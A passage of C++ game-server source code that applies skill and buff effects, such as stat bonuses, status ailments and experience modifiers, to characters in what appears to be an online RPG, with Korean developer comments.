mlp->m_nPowerValue;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbSkip = true;\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 471:\n\t\t\tif( gserver->isActiveEvent(A_EVENT_HALLOWEEN) )\n\t\t\t{\n\t\t\t\tmp = slp->m_magic[0]; // \uc774\ub3d9\uc18d\ub3c4 \uac10\uc18c\n\t\t\t\tif (mp)\n\t\t\t\t{\n\t\t\t\t\tmlp = mp->Level(slp->m_magicLevel[0]);\n\t\t\t\t\tif (mlp)\n\t\t\t\t\t{\n\t\t\t\t\t\trate->hcEventHalloweenSpeed = mlp->m_nPowerValue;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbSkip = true;\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 485:\n\t\tcase 486:\n\t\tcase 487:\n\t\tcase 488:\n\t\t\t{\n\t\t\t\tmp = slp->m_magic[0];\n\t\t\t\tif (mp)\n\t\t\t\t{\n\t\t\t\t\tmlp = mp->Level(slp->m_magicLevel[0]);\n\t\t\t\t\tif (mlp)\n\t\t\t\t\t{\n\t\t\t\t\t\t// \ub4dc\ub78d\ub960 \uc99d\uac00\n\t\t\t\t\t\taddition->hcDropPlus_Xmas2007 = mlp->m_nPowerValue / 100;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbSkip = true;\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 550:\n\t\t\t{\n\t\t\t\tmp = slp->m_magic[0];\t\t\t\t\t\t\t\t\t\t\t// 060227 : bs : \uc720\ub8cc\uc544\uc774\ud15c \uacbd\ud5d8\uce58 \uc0c1\uc2b9\n\t\t\t\tif (mp)\n\t\t\t\t{\n\t\t\t\t\tmlp = mp->Level(slp->m_magicLevel[0]);\n\t\t\t\t\tif (mlp)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (addition->hcCashExpUp < mlp->m_nPowerValue)\n\t\t\t\t\t\t\taddition->hcCashExpUp = mlp->m_nPowerValue;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbSkip = true;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\tif (bSkip == true)\n\t\t\tcontinue ;\n\n\t\t// --- TODO : \ud558\ub4dc\ucf54\ub529\uc6a9\n\n\t\tfor (i = 0; i < MAX_SKILL_MAGIC; i++)\n\t\t{\n\t\t\tif (!p->m_bHit[i])\n\t\t\t\tcontinue ;\n\n\t\t\tmp = slp->m_magic[i];\n\t\t\tif (mp == NULL)\n\t\t\t\tcontinue ;\n\t\t\tmlp = mp->Level(slp->m_magicLevel[i]);\n\t\t\tif (mlp == NULL)\n\t\t\t\tcontinue ;\n\n\t\t\t// --- TODO : ASSIST \ud558\ub4dc \ucf54\ub529\n\t\t\tswitch( mp->m_index )\n\t\t\t{\n\t\t\tcase 841:\n\t\t\t\taddition->hcLimitEXP = mlp->m_nPowerValue;\n\t\t\t\tcontinue;\n\t\t\t\tbreak;\n\t\t\tcase 842:\n\t\t\t\taddition->hcLimitSP = mlp->m_nPowerValue;\n\t\t\t\tcontinue;\n\t\t\t\tbreak;\n\t\t\tcase 843:\n\t\t\t\taddition->hcRandomExpUp = mlp->m_nPowerValue;\n\t\t\t\tcontinue;\n\t\t\t\tbreak;\n\t\t\tcase 844:\n\t\t\t\taddition->hcRandomSpUp = mlp->m_nPowerValue;\n\t\t\t\tcontinue;\n\t\t\t\tbreak;\n\t\t\tcase 845:\n\t\t\t\taddition->hcRandomDropUp = mlp->m_nPowerValue;\n\t\t\t\tcontinue;\n\t\t\t\tbreak;\n\t\t\tcase 971:\n\t\t\t\taddition->hcHPSteelPotion = true;\n\t\t\t\tcontinue;\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tswitch (mp->m_type)\n\t\t\t{\n\t\t\tcase MT_STAT:\n\t\t\t\tswitch (mp->m_subtype)\n\t\t\t\t{\n\t\t\t\tcase MST_STAT_ATTACK:\n\t\t\t\t\tAPPVAL(attack);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_DEFENSE:\n\t\t\t\t\tAPPVAL(defense);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_MAGIC:\n\t\t\t\t\tAPPVAL(magic);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_RESIST:\n\t\t\t\t\tAPPVAL(resist);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_HITRATE:\n\t\t\t\t\tAPPVAL(hitrate);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_AVOID:\n\t\t\t\t\tAPPVAL(avoid);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_CRITICAL:\n\t\t\t\t\tAPPVAL(critical);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_ATTACKSPD:\n\t\t\t\t\tAPPVAL(attackspeed);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_MAGICSPD:\n\t\t\t\t\tAPPVAL(magicspeed);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_MOVESPD:\n\t\t\t\t\tAPPVAL(movespeed);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_RECOVERHP:\n\t\t\t\t\tAPPVAL(recoverhp);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_RECOVERMP:\n\t\t\t\t\tAPPVAL(recovermp);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_MAXHP:\n\t\t\t\t\tAPPVAL(maxhp);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_MAXMP:\n\t\t\t\t\tAPPVAL(maxmp);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_DEADLY:\n\t\t\t\t\tAPPVAL(deadly);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_MAGICHITRATE:\n\t\t\t\t\tAPPVAL(magichitrate);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_MAGICAVOID:\n\t\t\t\t\tAPPVAL(magicavoid);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_ATTACKDIST:\n\t\t\t\t\tAPPVAL(attackdist);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_ATTACK_MELEE:\n\t\t\t\t\tAPPVAL(attack_dam_melee);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_ATTACK_RANGE:\n\t\t\t\t\tAPPVAL(attack_dam_range);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_HITRATE_SKILL:\n\t\t\t\t\tAPPVAL(hitrate_skill);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_ATTACK_80:\n\t\t\t\t\tAPPVAL(attack80);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_MAXHP_450:\n\t\t\t\t\tAPPVAL(maxhp450);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_HARD:\n\t\t\t\t\tAPPVAL(hard);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_SKILLSPD:\n\t\t\t\t\tAPPVAL(skillspd);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_NPCATTACK:\n\t\t\t\t\tAPPVAL(npcAttack);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_NPCMAGIC:\n\t\t\t\t\tAPPVAL(npcMagic);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_SKILLCOOLTIME:\n\t\t\t\t\tAPPVAL(SkillCooltime);\n\t\t\t\t\tbreak;\n#ifdef ASSIST_DECREASE_SKILL_MP\n\t\t\t\tcase MST_STAT_DECREASE_MANA_SPEND:\n\t\t\t\t\tAPPVAL(decreaseskillmp);\n\t\t\t\t\tbreak;\n#endif\n\t\t\t\tcase MST_STAT_VALOR:\n\t\t\t\t\t{\n\t\t\t\t\t\tif( IS_PC(ch) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tCPC *pc = TO_PC(ch);\n\t\t\t\t\t\t\tif( pc->IsParty() && pc->m_party->GetNearPartyMemberCount(pc) > 1)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\taddition->attack += (mlp->m_nPowerValue * CalcSkillParam(ch, ch, SPARAM_NONE, mp->m_ptp) / 100) * pc->m_party->GetNearPartyMemberCount(pc) / 10;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse if( pc->IsExped() && pc->m_Exped->GetNearExpeditionMemberCount(pc) > 1 )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tconst CExpedMember *member = pc->m_Exped->GetMemberByCharIndex(pc->m_index);\n\t\t\t\t\t\t\t\tint group_type = 0;\n\t\t\t\t\t\t\t\tif( member )\n\t\t\t\t\t\t\t\t\tgroup_type = member->GetGroupType();\n\t\t\t\t\t\t\t\taddition->attack += (mlp->m_nPowerValue * CalcSkillParam(ch, ch, SPARAM_NONE, mp->m_ptp) / 100) * pc->m_Exped->GetGroupMemberCount(group_type)  / 10;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_STATPALL:\n\t\t\t\t\tAPPVAL(statpall);\n\t\t\t\t\tbreak;\n\t\t\t\t// << 071211 kjban add\n\t\t\t\tcase MST_STAT_ATTACK_PER:\n\t\t\t\t\t{\n\t\t\t\t\t\tswitch (mp->m_damagetype)\n\t\t\t\t\t\t{\n\t\t\t\t\t\tcase MDT_ADDITION:\n\t\t\t\t\t\t\taddition->attack += ch->m_eqMelee * mlp->m_nPowerValue / 100;\n\t\t\t\t\t\t\taddition->attack += ch->m_eqRange * mlp->m_nPowerValue / 100;\n\t\t\t\t\t\t\taddition->magic += ch->m_eqMagic * mlp->m_nPowerValue / 100;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase MDT_RATE:\n\t\t\t\t\t\t\trate->attack += ch->m_eqMelee * mlp->m_nPowerValue / 100;\n\t\t\t\t\t\t\trate->attack += ch->m_eqRange * mlp->m_nPowerValue / 100;\n\t\t\t\t\t\t\trate->magic += ch->m_eqMagic * mlp->m_nPowerValue / 100;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase MST_STAT_DEFENSE_PER:\n\t\t\t\t\t{\n\t\t\t\t\t\tswitch (mp->m_damagetype)\n\t\t\t\t\t\t{\n\t\t\t\t\t\tcase MDT_ADDITION:\n\t\t\t\t\t\t\taddition->defense += ch->m_eqDefense * mlp->m_nPowerValue / 100;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase MDT_RATE:\n\t\t\t\t\t\t\trate->defense += ch->m_eqDefense * mlp->m_nPowerValue / 100;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase MST_STAT_STATPALL_PER:\n\t\t\t\t\t{\n\t\t\t\t\t\tswitch (mp->m_damagetype)\n\t\t\t\t\t\t{\n\t\t\t\t\t\tcase MDT_ADDITION:\n\t\t\t\t\t\t\taddition->statpall_per += mlp->m_nPowerValue;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase MDT_RATE:\n\t\t\t\t\t\t\trate->statpall_per += mlp->m_nPowerValue;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t//  [5/15/2008 KwonYongDae]\n\t\t\t\tcase MST_STAT_STR:\n\t\t\t\t\t{\n\t\t\t\t\t\tCOption::ApplyOptionValue( (CPC*)ch, OPTION_STR_UP, mlp->m_nPowerValue, NULL);\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_DEX:\n\t\t\t\t\t{\n\t\t\t\t\t\tCOption::ApplyOptionValue( (CPC*)ch, OPTION_DEX_UP, mlp->m_nPowerValue, NULL);\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_INT:\n\t\t\t\t\t{\n\t\t\t\t\t\tCOption::ApplyOptionValue( (CPC*)ch, OPTION_INT_UP, mlp->m_nPowerValue, NULL);\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_STAT_CON:\n\t\t\t\t\t{\n\t\t\t\t\t\tCOption::ApplyOptionValue( (CPC*)ch, OPTION_CON_UP, mlp->m_nPowerValue, NULL);\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tbreak;\n\n// OLD ATTRIBUTE VARIABLE REUSE, Elenoa 2013.01.09\n\n\t\t\tcase MT_ATTRIBUTE:\n\t\t\t\tif (mp->m_subtype < 0 || mp->m_subtype > AT_RANDOM)\n\t\t\t\t\tbreak;\n\n\t\t\t\tswitch(mp->m_subtype)\n\t\t\t\t{\n\t\t\t\tcase AT_RANDOM:\n\t\t\t\t\t{\n\t\t\t\t\t\tint rand = p->attr_rand;\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(p->attr_rand <= 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\trand = GetRandom(AT_FIRE, AT_LIGHT);\n\t\t\t\t\t\t\tp->attr_rand = rand;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif(mp->m_damagetype == MDT_ATTACK)\n\t\t\t\t\t\t\taddition->attratt_item = AT_MIX(rand, mlp->m_nPowerValue);\t\t\t\t\t\t\n\t\t\t\t\t\telse if(mp->m_damagetype == MDT_DEFENCE)\n\t\t\t\t\t\t\taddition->attrdef_item = AT_MIX(rand, mlp->m_nPowerValue);\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tswitch (mp->m_damagetype)\n\t\t\t\t\t{\n\t\t\t\t\tcase MDT_ATTACK: /* attr attack */\n\t\t\t\t\t\taddition->attratt =\n\t\t\t\t\t\t\tAT_MIX(mp->m_subtype, mlp->m_nPowerValue);\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase MDT_DEFENCE: /* attr defend */\n\t\t\t\t\t\taddition->attrdef =\n\t\t\t\t\t\t\tAT_MIX(mp->m_subtype, mlp->m_nPowerValue);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t\t\n\n\t\t\tcase MT_ASSIST:\n\t\t\t\tswitch (mp->m_subtype)\n\t\t\t\t{\n\t\t\t\tcase MST_ASSIST_POISON:\n\t\t\t\t\t*state |= AST_POISON;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_HOLD:\n\t\t\t\t\t*state |= AST_HOLD;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_CONFUSION:\n\t\t\t\t\t*state |= AST_CONFUSION;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_STONE:\n#ifdef RAID_MONSTER_SKIP_STONE\t\t// \ub808\uc774\ub4dc \ubab9 \uc2a4\ud1a4 \uc81c\uc678\n\t\t\t\t\tif( IS_NPC(ch) )\n\t\t\t\t\t{\n\t\t\t\t\t\tCNPC * pNpc = TO_NPC(ch);\n\t\t\t\t\t\tif( pNpc != NULL )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif( pNpc->m_proto->CheckFlag(NPC_RAID) )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n#endif\t// RAID_MONSTER_SKIP_STONE\n\t\t\t\t\t*state |= AST_STONE;\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase MST_ASSIST_SILENT:\n\t\t\t\t\t*state |= AST_SILENT;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_BLOOD:\n\t\t\t\t\t*state |= AST_BLOOD;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_BLIND:\n\t\t\t\t\t*state |= AST_BLIND;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_STURN:\n#ifdef RAID_MONSTER_SKIP_STURN\t\t// \ub808\uc774\ub4dc \ubab9 \uc2a4\ud134 \uc81c\uc678\n\t\t\t\t\tif( IS_NPC(ch) )\n\t\t\t\t\t{\n\t\t\t\t\t\tCNPC * pNpc = TO_NPC(ch);\n\t\t\t\t\t\tif( pNpc != NULL )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif( pNpc->m_proto->CheckFlag(NPC_BOSS | NPC_RAID) )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n#endif\t// RAID_MONSTER_SKIP_STURN\n\t\t\t\t\t*state |= AST_STURN;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_SLEEP:\n\t\t\t\t\t*state |= AST_SLEEP;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_HP:\n\t\t\t\t\t*state |= AST_HP;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_MP:\n\t\t\t\t\t*state |= AST_MP;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_MOVESPD:\n\t\t\t\t\t*state |= AST_MOVESPD;\n\t\t\t\t\tAPPVAL(movespeed);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_DIZZY:\n\t\t\t\t\t*state |= AST_DIZZY;\n\t\t\t\t\tAPPVAL(movespeed);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_INVISIBLE:\n\t\t\t\t\t*state |= AST_INVISIBLE;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_SLOTH:\n\t\t\t\t\t*state |= AST_SLOTH;\n\t\t\t\t\tAPPVAL(attackspeed);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_FEAR:\n\t\t\t\t\t*state |= AST_FEAR;\n\t\t\t\t\taddition->hcFearType = p->m_spellerType;\n\t\t\t\t\taddition->hcFearIndex = p->m_spellerIndex;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_FAKEDEATH:\n\t\t\t\t\t*state |= AST_FAKEDEATH;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_PERFECTBODY:\n\t\t\t\t\t*state |= AST_PERFECTBODY;\n\t\t\t\t\tAPPVAL(defense);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_FRENZY:\n\t\t\t\t\t*state |= AST_FRENZY;\n\t\t\t\t\tAPPVAL(attack);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_DAMAGELINK:\n\t\t\t\t\t*state |= AST_DAMAGELINK;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_BERSERK:\n\t\t\t\t\t*state |= AST_BERSERK;\n\t\t\t\t\tAPPVAL(attackspeed);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_DESPAIR:\n\t\t\t\t\t*state |= AST_DESPAIR;\n\t\t\t\t\tAPPVAL(despair);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_MANASCREEN:\n\t\t\t\t\t*state |= AST_MANASCREEN;\n\t\t\t\t\tAPPVAL(manascreen);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_BLESS:\n\t\t\t\t\t*state |= AST_BLESS;\n\t\t\t\t\tAPPVAL(bless);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_SAFEGUARD:\n\t\t\t\t\t*state |= AST_SAFEGUARD;\n\t\t\t\t\tif(IS_PC(ch))\n\t\t\t\t\t{\n\t\t\t\t\t\tCPC* pc = TO_PC(ch);\n\t\t\t\t\t\tpc->m_bImmortal = true;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_MANTLE:\n\t\t\t\t\t*state |= AST_MANTLE;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_GUARD:\n\t\t\t\t\t*state |= AST_GUARD;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_CHARGEATC:\n\t\t\t\t\t//\uc131\uc218 \uc544\uc774\ud15c\uc774 \uc0ac\uc6a9\uc911\uc774\ub77c\uba74 \n\t\t\t\t\tif(IS_PC(ch))\n\t\t\t\t\t{\n\t\t\t\t\t\tCPC* pc = TO_PC(ch);\n\t\t\t\t\t\tif(pc->holy_water_item != NULL)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t//\ud1a0\uae00 \ud574\uc81c\n\t\t\t\t\t\t\tpc->changeToggleState(pc->holy_water_item->getVIndex(), TOGGLE_ITEM);\n\t\t\t\t\t\t\t//\uc131\uc218 \uc544\uc774\ud15c \ud574\uc81c\n\t\t\t\t\t\t\tpc->SendHolyWaterStateMsg(NULL);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tAPPVAL(charge_attack);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_CHARGEMGC:\n\t\t\t\t\t//\uc131\uc218 \uc544\uc774\ud15c\uc774 \uc0ac\uc6a9\uc911\uc774\ub77c\uba74 \ud1a0\uae00 \ud574\uc81c\n\t\t\t\t\tif(IS_PC(ch))\n\t\t\t\t\t{\n\t\t\t\t\t\tCPC* pc = TO_PC(ch);\n\t\t\t\t\t\tif(pc->holy_water_item != NULL)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t//\ud1a0\uae00 \ud574\uc81c\n\t\t\t\t\t\t\tpc->changeToggleState(pc->holy_water_item->getVIndex(), TOGGLE_ITEM);\n\t\t\t\t\t\t\t//\uc131\uc218 \uc544\uc774\ud15c \ud574\uc81c\n\t\t\t\t\t\t\tpc->SendHolyWaterStateMsg(NULL);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tAPPVAL(charge_magic);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_DISEASE:\n\t\t\t\t\t*state |= AST_DISEASE;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_CURSE:\n\t\t\t\t\t*state |= AST_CURSE;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_CONFUSED:\n\t\t\t\t\t*state |= AST_CONFUSED;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_TAMING:\n\t\t\t\t\t*state |= AST_TAMING;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_FREEZE:\n\t\t\t\t\t*state |= AST_FREEZE;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_INVERSE_DAMAGE:\n\t\t\t\t\t*state |= AST_INVERSE_DAMAGE;\n\t\t\t\t\tAPPVAL(inverse_damage);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_HP_DOT:\n\t\t\t\t\t*state |= AST_HP_DOT;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_DARKNESS_MODE:\n\t\t\t\t\t*state |= AST_DARKNESS_MODE;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_AURA_DARKNESS:\n\t\t\t\t\t*state |= AST_AURA_DARKNESS;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_AURA_WEAKNESS:\n\t\t\t\t\t*state |= AST_AURA_WEAKNESS;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_AURA_ILLUSION:\n\t\t\t\t\t*state |= AST_AURA_ILUSYON;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_MERCENARY:\n\t\t\t\t\t*state |= AST_MERCENARY;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_SOUL_TOTEM_BUFF:\n\t\t\t\t\t*state |= AST_SOUL_TOTEM_BUFF;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_SOUL_TOTEM_ATTK:\n\t\t\t\t\t*state |= AST_SOUL_TOTEM_ATTK;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_TRAP:\n\t\t\t\t\t*state |= AST_TRAP;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_PARASITE:\n\t\t\t\t\t*state |= AST_PARASITE;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_SUICIDE:\n\t\t\t\t\t*state |= AST_SUICIDE;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_INVINCIBILITY:\n\t\t\t\t\t*state |= AST_INVINCIBILITY;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_GPS:\n\t\t\t\t\tif(IS_PC(ch))\n\t\t\t\t\t{\n\t\t\t\t\t\tCPC* pc = TO_PC(ch);\n\t\t\t\t\t\tif(sp->m_index == 1759)\n\t\t\t\t\t\t\tpc->m_gpsManager.setIsGps(true);\n\t\t\t\t\t\telse if(sp->m_index == 1760)\n\t\t\t\t\t\t\tpc->m_gpsManager.setIsGpsInterrupt(true);\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_ATTACK_TOWER:\n\t\t\t\t\t*state |= AST_TOWER_ATTACK;\n\t\t\t\t\tAPPVAL(tower_attack);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_ARTIFACT_GPS:\n\t\t\t\t\t{\n\t\t\t\t\t\tif(IS_PC(ch))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tCPC* pc = TO_PC(ch);\n\t\t\t\t\t\t\tpc->m_arti_gpsManager.setIsGps(true);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase MT_OTHER:\n\t\t\t\tswitch (mp->m_subtype)\n\t\t\t\t{\n\t\t\t\tcase MST_OTHER_AFFINITY:\n\t\t\t\t\t{\n\t\t\t\t\t\tswitch (mp->m_damagetype)\n\t\t\t\t\t\t{\n\t\t\t\t\t\tcase MDT_ADDITION:\n\t\t\t\t\t\t\taddition->affinity += mlp->m_nPowerValue;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase MDT_RATE:\n\t\t\t\t\t\t\trate->affinity_rate += mlp->m_nPowerValue;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_OTHER_REFLEX:\n\t\t\t\t\tAPPVAL(hcReflex);\n\t\t\t\t\taddition->hcReflexProb += mlp->m_nHitrateValue;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_OTHER_EXP:\n\t\t\t\t\tswitch (mp->m_damagetype)\n\t\t\t\t\t{\n\t\t\t\t\tcase MDT_ADDITION:\n\t\t\t\t\t\taddition->exp += mlp->m_nPowerValue;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase MDT_RATE:\n\t\t\t\t\t\taddition->exp_rate += mlp->m_nPowerValue;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_OTHER_SP:\n\t\t\t\t\tswitch (mp->m_damagetype)\n\t\t\t\t\t{\n\t\t\t\t\tcase MDT_ADDITION:\n\t\t\t\t\t\taddition->sp += mlp->m_nPowerValue;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase MDT_RATE:\n\t\t\t\t\t\taddition->sp_rate += mlp->m_nPowerValue;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n#ifdef REFORM_PK_PENALTY_201108 // PK \ud328\ub110\ud2f0 \ub9ac\ud3fc\n\t\t\t\tcase MST_OTHER_PK_DISPOSITION:\n\t\t\t\t\tswitch (mp->m_damagetype)\n\t\t\t\t\t{\n\t\t\t\t\tcase MDT_ADDITION:\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tint durHour = sp->m_levelproto[0]->m_durtime / (60*60*10) ;\n\t\t\t\t\t\t\tint PkPointPerHour = ( PK_HUNTER_POINT_MAX * mlp->m_nPowerValue / 100 ) / durHour;\n\t\t\t\t\t\t\taddition->pkDispositionPointValue = PkPointPerHour;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase MDT_RATE:\n\t\t\t\t\t\trate->pkDispositionPointValue = mlp->m_nPowerValue;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n#endif // REFORM_PK_PENALTY_201108\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase MT_REDUCE:\n\t\t\t\tswitch (mp->m_subtype)\n\t\t\t\t{\n\t\t\t\tcase MST_REDUCE_MELEE:\n\t\t\t\t\tAPPVAL(reduceMelee);\n\t\t\t\t\taddition->reduceMeleeProb += mlp->m_nHitrateValue;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_REDUCE_RANGE:\n\t\t\t\t\tAPPVAL(reduceRange);\n\t\t\t\t\taddition->reduceRangeProb += mlp->m_nHitrateValue;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_REDUCE_MAGIC:\n\t\t\t\t\tAPPVAL(reduceMagic);\n\t\t\t\t\taddition->reduceMagicProb 